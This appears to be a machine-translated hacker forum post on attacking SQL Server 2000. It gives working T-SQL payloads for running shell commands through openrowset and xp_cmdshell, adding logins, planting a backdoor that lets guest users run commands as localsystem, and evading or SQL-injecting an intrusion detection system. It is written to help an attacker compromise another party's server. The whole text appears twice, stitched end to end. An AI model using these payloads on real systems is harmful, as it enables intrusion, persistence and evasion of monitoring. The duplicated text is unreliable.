1. About openrowset and opendatasource
Maybe someone has already known this technique, which is to use openrowset to send local commands. Usually our usage is (including the columns of MSDN) as follows:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
It is visible (even if literally) openrowset is only accessible as a fast remote database, it must follow the select, that is, it needs to return a recordset.
So can we use it to call xp_cmdshell? The answer is yes!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec .xp_cmdshel l ''dir c:\''')
Set fmtonly off must be added to block the default setting that returns only column information, so that the output set returned by xp_cmdshell will be submitted to the previous select to display. If the default setting is used, an empty set will be returned, resulting in a select error, and the command will not be executed.
So if we want to call sp_addlogin, it will not return any collection like xp_cmdshell, we can no longer rely on fmtonly settings, and we can operate as follows
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec .sp_addlogin Hectic')
In this way, the command will at least return the set of select 'OK!', and your machine commerce will display OK!, and at the same time, a Hectic account will be added to the other party's database. That is to say, we use the return set of select 'OK!' to deceive the local select request. The command can be executed normally. The normal sp_addsrvrolemember and opendatasource can also be operated in this way! As for the real use of this method, let’s think about it slowly: P
2. Question about the two requests of msdasql
I wonder if you have tried using msdasql to connect to remote databases. Of course, this API must be an administrator of SQL Server to call it, so as follows
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')
When the number of fields in table1 and table2 is different, you will find that the other party's SQL Server crashes, and even the local connection will fail, and the system resource occupies everything normally. After killing the sqlserver process with pskill, if the machine is not restarted, the sqlserver will either not start normally or there will be illegal operations often. I just happened to find this bug. I haven't figured out the specific reason yet, and it's strange that this phenomenon only occurs on msdasql. sqloledb does not have this problem. It seems that the problem is not that the number of requested sets does not match the number of returned sets. It should be a problem with msdasql itself. For the specific reasons, let's study it slowly together: P
3. Terrible back door
I have seen people online that leaving a backdoor on SQL Server can be done by adding triggers, jobs or rewriting sp_addlogin and sp_addsrvrolemember. These methods are of course feasible, but they are easily discovered. I wonder if you have ever thought about the local connection mapping of sqloledb. Haha, for example, if you use the SQLServer administrator account to execute the following command on the other party’s SQLServer
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
In this way, a local connection map called Hectic is established on the other party's SQL Server. As long as the SQL Server does not restart, this map will continue to exist. At least I don't know how to discover the connection map placed by others. Okay, after the above command is run, you will find that even a guest user who does not have any permissions in SQL Server can pass the above command! And the permission is localsystem! (Default installation) Haha! This method can be used to leave a backdoor on SQLServer that has been compromised to obtain administrator privileges. The above method is passed on sqlserver2000 sqlserver2000SP1!
There is another guess. I wonder if you have noticed that the two dsns that are included in Windows by default, one is localserver and the other is msqi. These two are connected to SQLServer by the local administrator account when they are established. If the other party's SQLServer is started through a custom power user, then the permissions of SA are the same as those of power user, and it is difficult to achieve great things, but we use the following command
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''') You should be able to use the localserver administrator account to connect to the local sqlserver and then execute local commands with the permissions of this account. After this, I think it should be possible to break through the power user permission of sa. The problem now is that sqloledb cannot call dsn connections, and msdasql is not allowed to be called by non-administrators, so I am now looking for a method to call msdasql by guest,
If anyone knows how to break through this bug or has new ideas, we can discuss it together. If this distribution can be successfully exploited by the guest, it will be a very serious security vulnerability. Because any SQL statement we mentioned earlier can be submitted to the other party's asp to help us execute:
4. Use t-sql to trick ids or attack ids
Ids are becoming smarter now. Some ids have added the monitoring of xp_cmdshell sp_addlogin, but after all, when artificial intelligence has not appeared today, this kind of monitoring always feels like a deceptive.
Let's talk about deception ids:
Since ids monitors the xp_cmdshell keyword, we can do this
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'
I believe everyone can understand this code. As a store, xp_cmdshell has an id number in the master library, which is fixed. We can also do this.
Assume this id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
Of course, it's OK
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'
This way of doing arrangement and combination, ids can't do complete monitoring.
Similarly, sp_addlogin can do the same.
Let's talk about attack ids:
Because the ids data is large, it is usually backed up to a regular database, such as SQL Server.
If you use ancient methods, it will seriously affect the performance of ids, because doing t-sql requests through ado is not only efficient, but also some of the work can be handed over to SQL Server.
Usually the program will write this insert table values ('Day to content',...)
Then let's think about it, if you use temp') exec xp_cmdshell 'dir c:\' -- It will become
insert table values ('Day to content'...'temp') exec xp_cmdshell 'dir c:\' -- ')
In this way, xp_cmdshell can be run in the ids database :)
Of course ids is a sniffer, which will catch all reports, and the browser will turn the space into when submitting. Therefore, it will be submitted to the sql server, so that your command will not be executed. The only way is
insert/**/table/**/values('Day to content'...'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
Use /**/ instead of spaces as spaces, so that your t-sql can be executed in the ids database. Of course, you can also use other statements to destroy and back up the ids database to your shared directory, haha.
In fact, the principle of this method is the same as attacking asp, just turning the space into /**/ . Originally, asp is a select statement, so you can block it with '. Now ids is used with insert statement, then use ') to block it.
Okay, you can think about many other new invasion statements by yourself, the best testing tool is query analyzer.
Maybe someone has already known this technique, which is to use openrowset to send local commands. Usually our usage is (including the columns of MSDN) as follows:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
It is visible (even if literally) openrowset is only accessible as a fast remote database, it must follow the select, that is, it needs to return a recordset.
So can we use it to call xp_cmdshell? The answer is yes!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec .xp_cmdshel l ''dir c:\''')
Set fmtonly off must be added to block the default setting that returns only column information, so that the output set returned by xp_cmdshell will be submitted to the previous select to display. If the default setting is used, an empty set will be returned, resulting in a select error, and the command will not be executed.
So if we want to call sp_addlogin, it will not return any collection like xp_cmdshell, we can no longer rely on fmtonly settings, and we can operate as follows
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec .sp_addlogin Hectic')
In this way, the command will at least return the set of select 'OK!', and your machine commerce will display OK!, and at the same time, a Hectic account will be added to the other party's database. That is to say, we use the return set of select 'OK!' to deceive the local select request. The command can be executed normally. The normal sp_addsrvrolemember and opendatasource can also be operated in this way! As for the real use of this method, let’s think about it slowly: P
2. Question about the two requests of msdasql
I wonder if you have tried using msdasql to connect to remote databases. Of course, this API must be an administrator of SQL Server to call it, so as follows
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')
When the number of fields in table1 and table2 is different, you will find that the other party's SQL Server crashes, and even the local connection will fail, and the system resource occupies everything normally. After killing the sqlserver process with pskill, if the machine is not restarted, the sqlserver will either not start normally or there will be illegal operations often. I just happened to find this bug. I haven't figured out the specific reason yet, and it's strange that this phenomenon only occurs on msdasql. sqloledb does not have this problem. It seems that the problem is not that the number of requested sets does not match the number of returned sets. It should be a problem with msdasql itself. For the specific reasons, let's study it slowly together: P
3. Terrible back door
I have seen people online that leaving a backdoor on SQL Server can be done by adding triggers, jobs or rewriting sp_addlogin and sp_addsrvrolemember. These methods are of course feasible, but they are easily discovered. I wonder if you have ever thought about the local connection mapping of sqloledb. Haha, for example, if you use the SQLServer administrator account to execute the following command on the other party’s SQLServer
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
In this way, a local connection map called Hectic is established on the other party's SQL Server. As long as the SQL Server does not restart, this map will continue to exist. At least I don't know how to discover the connection map placed by others. Okay, after the above command is run, you will find that even a guest user who does not have any permissions in SQL Server can pass the above command! And the permission is localsystem! (Default installation) Haha! This method can be used to leave a backdoor on SQLServer that has been compromised to obtain administrator privileges. The above method is passed on sqlserver2000 sqlserver2000SP1!
There is another guess. I wonder if you have noticed that the two dsns that are included in Windows by default, one is localserver and the other is msqi. These two are connected to SQLServer by the local administrator account when they are established. If the other party's SQLServer is started through a custom power user, then the permissions of SA are the same as those of power user, and it is difficult to achieve great things, but we use the following command
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''') You should be able to use the localserver administrator account to connect to the local sqlserver and then execute local commands with the permissions of this account. After this, I think it should be possible to break through the power user permission of sa. The problem now is that sqloledb cannot call dsn connections, and msdasql is not allowed to be called by non-administrators, so I am now looking for a method to call msdasql by guest,
If anyone knows how to break through this bug or has new ideas, we can discuss it together. If this distribution can be successfully exploited by the guest, it will be a very serious security vulnerability. Because any SQL statement we mentioned earlier can be submitted to the other party's asp to help us execute:
4. Use t-sql to trick ids or attack ids
Ids are becoming smarter now. Some ids have added the monitoring of xp_cmdshell sp_addlogin, but after all, when artificial intelligence has not appeared today, this kind of monitoring always feels like a deceptive.
Let's talk about deception ids:
Since ids monitors the xp_cmdshell keyword, we can do this
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'
I believe everyone can understand this code. As a store, xp_cmdshell has an id number in the master library, which is fixed. We can also do this.
Assume this id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
Of course, it's OK
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'
This way of doing arrangement and combination, ids can't do complete monitoring.
Similarly, sp_addlogin can do the same.
Let's talk about attack ids:
Because the ids data is large, it is usually backed up to a regular database, such as SQL Server.
If you use ancient methods, it will seriously affect the performance of ids, because doing t-sql requests through ado is not only efficient, but also some of the work can be handed over to SQL Server.
Usually the program will write this insert table values ('Day to content',...)
Then let's think about it, if you use temp') exec xp_cmdshell 'dir c:\' -- It will become
insert table values ('Day to content'...'temp') exec xp_cmdshell 'dir c:\' -- ')
In this way, xp_cmdshell can be run in the ids database :)
Of course ids is a sniffer, which will catch all reports, and the browser will turn the space into when submitting. Therefore, it will be submitted to the sql server, so that your command will not be executed. The only way is
insert/**/table/**/values('Day to content'...'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
Use /**/ instead of spaces as spaces, so that your t-sql can be executed in the ids database. Of course, you can also use other statements to destroy and back up the ids database to your shared directory, haha.
In fact, the principle of this method is the same as attacking asp, just turning the space into /**/ . Originally, asp is a select statement, so you can block it with '. Now ids is used with insert statement, then use ') to block it.
Okay, you can think about many other new invasion statements by yourself, the best testing tool is query analyzer.